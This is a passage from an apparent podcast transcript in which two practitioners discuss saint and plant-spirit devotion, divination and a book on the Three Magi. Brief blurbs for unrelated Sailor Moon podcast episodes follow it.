differences, you know, he sort of, wasn't prominent, I wasn't really working with him for like 15 years, or something like that, just had my pieces tucked away amongst my relics of other times and things that I don't do much of any more. And then all of a sudden, I came across this painting I had done of him, and he was like, "Dude, I'm out, you've got to put me out now." AL: [laughs] Hmm! ANDREW: And when, and, the messages that I got from him were all about my art work, and not about, sort of ceremony, and spirits, or working with the dead or, you know, other things like that ... AL: Huh. ANDREW: And so, it was this very interesting thing where he came forward with this message, that is not entirely incongruous with his nature per se, but certainly not where I would think to start with, you know? AL: Yeah. ANDREW: And, you know, I'm sitting here looking at him as we're talking... AL: Hmm. ANDREW: And he's kind of like nodding his head, like "I was right, dude, that's it!" AL: [laughs] I love that, that's beautiful, the idea of some particular aspect of your life that they would manifest their advice and their power in that isn't, that you're not going to read in some, you know, in some encyclopedia of saints or the Golden Legend or some botanic pamphlet, but that that's something that you've come to, yourself. It reminds me of the way that people sometimes talk about plant allies as well, and I think this is a wider aspect of what we mean by spirit patronage, right? That that spirit might be, you know, you might get on famously and become, you know, fast friends, and that that plant might then be willing to work in ways that, again, aren't in, you know, aren't in the encyclopedias of herb magic or Cunningham or any of those other things ... ANDREW: Sure. AL:... isn't keyworded that like, this plant that you work with every day and consider a patron of your greencraft and of your life in general, would do a thing that might be unusual, you know, might be added to a bath or a charm bag or something that wasn't typically included in that kind of thing. That's certainly a relationship I have with rosemary, where ... ANDREW: Mmmhmm. AL:... beyond its noted capacity for memory, and, you know, its necromantic value and its purifying and asperging uses … I have in the past had definite spirit contact to say, "You should include me in this bath for something completely different, because I am one of your, you know, because I want to be involved in this and I can further empower it." And confirming that through divination as well, which I think is also something that gets underreported is that, again, spirit contact and nonrational ways of knowing and spirit communication can also be facilitated by computational divination, you know, you can still throw your, your sticks, your shells, your things to confirm that that is the spirit saying that thing and it's not either you or some other spirit or, you know, some other option of things. And so, in confirming that, yeah, I was putting rosemary in everything for a while. Because it was standing up and saying, like, "Yeah, I can do this too, I can do this too, I can do this too." ANDREW: Yeah. I've had a similar experience with burdock. AL: Hmm. ANDREW: You know, where people … Especially with sending people to work with it? AL: Mmmhmm. ANDREW: Because here in Toronto, it's prevalent everywhere at a certain point in the year, you know, it just takes over everything, you know, that energy will be like, "Yeah, tell them to come and collect some of this part of me, and do this thing with it and all..." AL: Nice! ANDREW: "Or help them in this way," or you know. I remember somebody was like, somebody had to like, somebody who was trying to let go of some childhood stuff and the plant basically came in and said, "Hey, tell them to come and find the biggest one around and dig up my whole root, and when they're done, they'll be healed." And it took them a long time! You know? AL: Yeah, yeah yeah. ANDREW: Because it was big and spreading. But it was profound, and it was transformative for that person by their report, so. AL: Right. ANDREW: There are many reasons that can happen. But also, as you say, that verifying it, you know, whatever your divination tools for verification, or checking with a spirit that you have more concrete mechanisms with or whatever, I think that that's so important, because, you know, this sort of, free will and idea that I can just sort of intuit anything and that could be the answer, it's like, well, eh, maybe, possibly... AL: Mmmhmm. ANDREW: ...but, I get very twitchy about that at times, because stuff starts to come out, where it's like, "Well, yeah, but you know what, that's actually not a good idea, and these other ways are,” or, “This is kind of toxic, or kind of … you know?" AL: Yeah, and that's where ... Exactly, exactly. And that's where using a divination technique that is definite, that is computational, that is like, "No, that card says this thing," isn't like a, you know, a fudge, isn't like a coin on its side, computational, but also that provides qualified answers, so not just flipping a coin of like, yes or no, is this what the spirit said? But, you know, a three card throw, that allows for, you know, two reds and a black, meaning yes, but...? Right? Or two blacks and a red meaning no, but ... ? Right? Which allows, not just the confirmation of the thing that you think you're receiving, but also allows the spirit to give you extra information as well. To say, "Yes, you heard me right about that stuff, but you also need to check this other thing that you haven't checked," or "No, that's not what I said, but, you are on the right track in terms of this direction." Have I cut out again? AL: [laughs] I think I may have cut out again, briefly, there. [laughs] ANDREW: I heard your comment about two reds and a black, or two black and a red? And then you stopped. Want to start again? AL: Yeah. AL: All right. So, I think it's very important to have a divination system that can provide not just a yes or no response to what you think you've received from spirit contact but that you are also able to give a qualified answer of “yes, but,” or “no, but,” right? ANDREW: Mmmhmm. AL: That you have some form of throwing that doesn't just give you a thumb's up or a thumb's down, but that also offers the spirit a chance to say, “Yes, that's what I meant, in that case, but you've also forgotten that you need to deal with this thing as well.” Or, “No, that's not what I meant, but you're on the right track in terms of thinking in this way,” all right? So, it's not just about a gatekeeping of which images and which contact gets in and which doesn't, but also, you are continually negotiating and allowing yourself to have more space to hear a more nuanced transmission. ANDREW: Mmmhmm. Yeah, and I think the idea of developing nuance is just so important, right? AL: Mmmhmm. ANDREW: I mean, whatever divination tool you're looking at, you know, I think this idea that we could sort of have a, you know, in the exact same way as we're talking about the saints, right? You have a real relationship with your divination system; it's conveying information that goes well beyond, you know, yes or no, or even like, yeah, it's pretty good, or not good. There are so many other pieces that start to emerge from the practice and then getting to know those things that then facilitate the shaping of it, right? AL: Mmmhmm, yeah. ANDREW: Yeah. AL: Yeah, I think so. And, you know, that can be a sign that you're making deeper engagement with a saint, is when they start coming out with stuff that you haven't read somewhere, right? That you haven't ... and that's not license for everyone to be, you know, "Oh, well I dress Expedite in pink, and, you know, I never offer him pound cake," that's no excuse to throw away tradition. But that is a sign where, if you're working respectfully, most traditions have a notion that, like, there's going to be idiosyncracies. There's going to be particularities and personalizations both in terms of how the spirit works with you and how you work with the spirit. ANDREW: Mmmhmm. Yeah. AL: Right? ANDREW: And variations by geography and culture. AL: Absolutely, absolutely! Yeah. ANDREW: Cause I grew up with nothing religiously, you know? Like nobody considered it, nobody was for it, nobody was against it, you know, people were sort of like vaguely slightly a little bit mystic at times, but there was kind of nothing, you know? So like, the first time I remember going to church was when I was like 11 and my parents had gotten... had separated, and we lived in a small town and my mom was trying to find some community. So we went to the Anglican church, but, you know, I didn't have any connection to any of those things, so, you know, and never mind if I was from like a totally different culture than sort of the Western culture of something else engaging with this. AL: Yeah. ANDREW: It might just be like, "You know what? You don't have pound cake, but you got this other thing like cake, that looks good,” you know? AL: Right, right. And this is especially the case when you're looking at quote unquote folk practices, you know, what people who weren't rich did, and continue to do in many parts of the world, that, you know, that San Rocco, that Saint Roch, doesn't behave like the one four villages down. You know, one of them is more about warding off plague, because he warded off a plague once, or several times, right? And the other might be more about bringing in the harvest, because that's, you know, that's the famine that he avoided by being petitioned, right? And successfully performed a miracle. And so, yeah, the terroir of spirit work, that sense that like, this particular place dealt with, you know, this aspect of that spirit that was called the same thing that they called it down the road, or a different spirit sharing that name, or however it ends up shaking out, you know, whatever your ontology of the situation seems to suggest. That's super important, yeah, that there isn't, you're not necessarily dealing with a wrong way of working with them, so much as a different way. But that again is not something that emerges from just wandering through, you know, reading 777 and deciding that you're going to cook up a bunch of stuff, right, over a nice cup of tea? That's the result of many hands working for a very long time, and requiring something done about an immediate danger, and certainly I'm thinking of San Rocco in southern Italy, you know. ANDREW: Mmmhmm. AL: Cause if the saint don't work, it gets thrown in the sea! [laughs] ANDREW: Yeah, sure, right? AL: Or put in front of the volcano. ANDREW: Yeah. yeah, and that's always an interesting thing to consider, right? We can make a, you know, a thought form, or whatever you want to call it. We can create spiritual energies to accomplish certain things, but the sort of depth and the history of energy, prayer, offering, and kind of the lineage of different places, you know, like the saint in that village versus the saint in this village. AL: Right. ANDREW: You know, I mean, I think that those create something very different over time, and whether that all comes from the same source or whatever we choose to believe that that is another matter ... AL: Right, right, right. ANDREW: But this sort of idea that if we're going to work with somebody in a certain way, like if we want San Rocco to do this thing versus that thing, then we might want to take a bit more of that other town's approach, or, you know, see what are the differences in practices that might help call that energy out in that way. AL: For sure. For sure. ANDREW: Not unlike singing certain songs in the Orisha tradition or, you know, playing certain beats or making certain offerings, bring out different faces of the spirits, right? AL: Mmm. ANDREW: You know? There are the ways in which ... the way in which we approach them, and what we give them, is also part of their process and channel of manifesting that opens up these different capacities in a different way, you know? AL: Right, and crucially, you're dealing with diaspora as well, you're dealing with how does a tradition or a set of traditions try and remember not just its own thing, but remember the traditions of their brothers and sisters, right? Who were, you know, no longer, can sometimes no longer remember where it is they're from, right? ANDREW: Mmmhmm. AL: And, and, and that's a really important thing. It isn't just, you know, oh well, you know, the ... [laughs] I don't know, fatuous example, oh the Elegua of Brooklyn doesn't receive toasted corn, he asks for like Pabst Blue Ribbon or whatever, right? ANDREW: Uh huh. AL: This isn't something that you can just like, decide, or, you know, think you've had an experience without confirming any of this with any of the initiated priests of that tradition, right? Likewise, the diaspora of, say, again to continue that example, cause it's one I'm more familiar with, through the work of my wife in Italian folk magic, of San Rocco in south Italy … There are different expressions of him in the New World, you know, there's a very long running procession through New York's Little Italy, that's one of the most celebratory saint festivals I've ever been to, over here. Sometimes, I'm sure, you know, you've had similar experiences that even a saint that is considered holy and happy has a kind of somberness, especially when we're celebrating their martyrdom, whereas ... Yeah, the San Rocco festival in New York is a joy. There are confetti cannons, it's delightful. And, but it's also very reverent. You know? The ... Certainly, the central confraternity do it barefoot and, you know, make a real effort that it's a community event and those kinds of things, and, that's where modifications come in as well. That's where traditions develop and grow and live and breathe and stretch, is in actually interacting with a new land, and with different communities, and kinds of people and those are where, like, "Oh, we couldn't get this kind of wine so we got this other kind of wine," those kinds of things, things like substitutions as I understand it start to come in. But it's something that occurs from within stretching out, it's not something that can be, you know, with that etic emic thing, it's not something that an outsider can then take something of, and claim anything like the same sort of lineage, and the same kind of oomph, the same kind of aché, the same kind of virtue or grace moving through that thing. ANDREW: We can't claim substitutions because it's hard to get that thing, or whatever, right? AL: Right. ANDREW: You know, and they only really take off when, you know, when it's required. But I'm going to tell you right now, and everybody else listening, if there's ever a procession for me, I would like it to have confetti cannons. AL: [laughing] ANDREW: That definitely is a part of a cult that I would like to bounce, so, let's make that happen sometime. AL: [laughter] AL: For sure, good to stick around and be useful! ANDREW: Yep. So, we're kind of reaching the end of our time here, but I also wanted to touch on your new book, which is out. AL: Yes! ANDREW: Yes. So, The Three Magi, right? Tell me, tell people, tell me, why, what is it about them that draws you? Why did you write this book? Where did it come from? AL: It came from … That's an amazing question. There are a couple things. One is that I have a very central part of my practice that is about working with dead magicians, and working with the attendant spirits around them. And a kind of necromancy of necromancy, if you want to put it like that. From specific techniques to a kind of lineage ancestor sense, from the fact that my doctorate was handed to me by hand shake by someone who had hands laid on them, who had hands laid on them, back to the founding of the charter and having a sense of that. The spiritual lineage of academic doctors, and in studying the dead magicians of the 17th century, for instance, and how they were interested in, say, Elias Ashmole, interested in forming this kind of lineage of English magic. That feels a little bit Jonathan Strange and Mr. Norrell at times, to be honest. ANDREW: Sure. AL: So, I've been interested in dead magicians for a while, and had found them kind of turning up in my practice and helping me do my history of them. You know, they were very invested in how they were being portrayed, funnily enough. And the magi became a locus, a way in which I, as someone that wasn't necessarily, certainly from the outside, looking like I was living a terribly good pious early modern Christian life, could be talking to these Christian magicians. It was a way of framing ... Well, we all appreciate the magi, right? Who are both ... and that's another fascinating point, like Cyprian, you know, arguably more so than Cyprian, they're both Christian and not. They are the first Gentiles to make this pilgrimage, they're utterly essential to the nativity narrative, they're also, you know, categorically astrologers, and probably Babylonian, and drawing on a variety of older traditions, certainly around Alexander the Great, and his invasions into various different regions mirror some of the kinds of mythic beats of their story, of the magis' story ... ANDREW: Mmmhmm. AL: So there was this sense of, I was already working with dead magicians, I was interested in the role of magic in the traditions and saint devotion and things that I was already exploring, and I've always been attracted to liminal spirits and found working with them very helpful, the ones that exist on a threshold between things, the symmetry gates , the wall between two things, the border crosses, if you like. And, their unique status as a cult is also interesting as well in that, by the 14th century, certainly, they are considered saints, you know, Saint Gaspar, Saint Belchior, and Saint Balthazar. But they're also utterly important to that tradition but kind of outside of it, but also legitimizing it, and certainly this is how their cult played out from the vast popularity of their pilgrimage site in Cologne, which became one of the four major hubs of pilgrimage, which was a big deal, right, in the medieval period. ANDREW: Mmmhmm. AL: Into the exploration into the so-called New World, where, again, the kings were employed by both colonizers, there was a concept of preconquest evangelization, the idea that the message, the good message of the Nazarene had extended to the quote unquote savages of the Americas, which is why the Mayans had crosses, supposedly. That they had civilization, so they must know about Christianity, because that's the only civilization that builds, you know, that's the only culture that could allow a civilization to occur. And so this frames the conquest of the New World, again the quote unquote New World, as a matter of reminding people that they were already Christian. And one of the ways that this was done was to tell colonized people that one of the kings who came from afar was from them. And thus, their king had already acquiesced to the will of, you know, these white colonizers, or these, you know, these European colonizers. But, in doing that, they also allowed colonized and sometimes actually enslaved people a sense of, like, autonomy, that they had a magician king ancestor, that even though that was being annexed on the one hand, it was also, it also fomented political dissent. And so that notion of a powerful and politically ambiguous set of figures became really really interesting to me. ANDREW: Mmm. AL: It also, you know, in terms of personal anecdotes, they also became more significant when I moved to Bristol and I was touring as a performance poet and a consultant magician and diviner, and I was getting cheap transport a lot because I was also a student, and I was getting the megabus, if you're familiar with that, and it stopped just outside of one of the only chapels dedicated to the three kings in Europe, which happens to be in Bristol. And so, I would see them every day as I was setting out on a journey, and so I started looking for them in grimoires, and finding that most of the spells that are considered under their aegis, or their patronage, are works of safe travel. Right? Are works of journeying, right? Of going, of adoring, and then returning via a different way, right? ANDREW: Mmmhmm. AL: And that model has greatly inspired me, I mean, directly, in terms of the work I was doing, working with the land I had and the places I had and the opportunities I had to make quick offerings when I needed to, you know, make sure I was nursing a nasty hangover on a five hour journey, you know, going to a gig somewhere. But also, you know, getting off the bus at the end of journeys and saying thank you and gathering dirts and using that in that way. And certainly, the idea of them being patrons, not just of where you pilgrimaged to, but the patrons of pilgrims themselves, feels very powerful to me. ANDREW: Mmmhmm. AL: And that sense of them, that we don't pray to them, that we pray like them, also feels to me very much like an important necromantic aspect of the ancestor cults around them, that we imitate them, that we too are on a journey, looking for the light that points to majesty, of some kind, whatever that is. That we too are on a journey in terms of passing from life to death, and maybe to return, right? To be a bit mystical. I find it very interesting that occasionally the magi, or lithographs of the magi and the star, find their ways into, or are venerated in, some houses of Haitian Vodou, right, where they refer to the Simbi, and that notion of spirits that have died and then died again and crossed over again to become spirits of some kind. And that mass of the idea of not simply working with a saint who is that thing, that you are working with the elevated soul of someone that used to wander round in a human body and is now, in theory, sat at the right hand of God, right? You're also working, or you can also work, with an attendant set of dead folk who cohere around that point of devotion, because they also worshipped like that. And that's again, that sense of like ancestral saint work for me is very important, not just who ... what icon am I staring at, but who, what spirits, what shades do I feel around me who are also facing that direction? Right? And who am I in communion with, and who am I sharing that communion with? ANDREW: I love it. Yeah, I mean there's reason why people use the term, "spiritual court," right? AL: Yeah, yeah. ANDREW: Who are we all, whose court are we at and who are we all, you know, lining up with in that place and so on? AL: Yeah! ANDREW: I love it. Well, thank you so much for making the time today, Al. AL: Oh sure, yeah! No, it's been great! ANDREW: You should definitely check out Al's book. We have it at the shop. It's available in other places too. And if people want to come and hang out with you on the Internets, where should they go looking for you, Al? AL: Oh, they can find me at my website, which is http://www.alexandercummins.com. There's my blogs there, there's a bunch of free lectures, you can book my consultation services through that, jump on the mailing lists to hear about gigs I'm doing, in wherever it is I am [laughs], touring around a bit more these days, which is lovely to be on the road. Just got back from New Orleans, which was great to see godfamily there and to do some great talks I really enjoyed. So yeah, my website … ANDREW: I also have an archive of premodern texts, scans of texts, grimoiresontape.tumblr.com, if people want to check out, you know, any of these texts from 17th century magicians that I've been kind of digging up, that's certainly something I'm encouraging people to do, is do that. I teach courses through my good friends at Wolf and Goat, Jesse and Troy, just finished a second run of the Geomancy Foundation course that I run, and I'll be setting up to do a course introducing humeral theory and approaches to the elements and that kind of embodied medical and magical kind of practice stuff, which, hopefully, you know, diviners and people like that will be interested in. One of these underlying things for a lot of Western occult philosophy and magical practice that doesn't necessarily get looked at a lot. ANDREW: Yeah. Well, we'll have something for us to have a further conversation about at some point, then. AL: Oh yeah, I'd love that! Yeah, for sure! ANDREW: Well, thanks again Al, and, yeah, I really appreciate it. AL: Oh, great! No, no, it's been a pleasure. Thank you, Andrew.

Brought to you by Saint Sebastian, the demon Guland and the Exu Morcego, the herb Bay Laurel, the geomantic figure Rubeus, the mineral Ruby, the Tarot Trump Temperance, and healing magic. For show notes, please visit the website.

Oh, man! Sailors Mercury, Mars, Jupiter, and Venus have all been abducted by aliens! Now, it's up to Sailor Moon, a five-year-old, two cats, and a man in a Tuxedo to save them. Except the man and the cats aren't really much help. Sailor Moon authority Artlee King-Vasquez returns to help us navigate our way through the defeat of Sailor Moon R miniboss, Rubeus! Get ready for some good-time crucifixion!

We’re kicking off the new year with another spectacular Sera Myu special!  This time it’s the 2014 musical Petite Étrangère, once again featuring a fabulous all female cast that will cause literally everyone to question their sexuality.  Returning guest host Jenn Morrison (@JennRipley237) shares in our confusing desire to simultaneously make out with and also be Rubeus, our praise of this production's particularly impressive wigs, and our shock at the unprecedented revelation that Chibiusa can actually be an adorable, likable character. Connect with us!! Twitter: @LnJPod, tumblr:loveandjusticepod, email:loveandjusticepod@gmail.com

This week, the hosts point out the missing brooch, along with changes in the opening. What happened to the size of the cutie moon rod? Minor update to changes in the senshi transformations, and who is Mamoru's kouhai? Is there a gym, looks like Rubeus is built! Where are the minor characters that are MIA? And finally... Where is the Doom Tree Saga?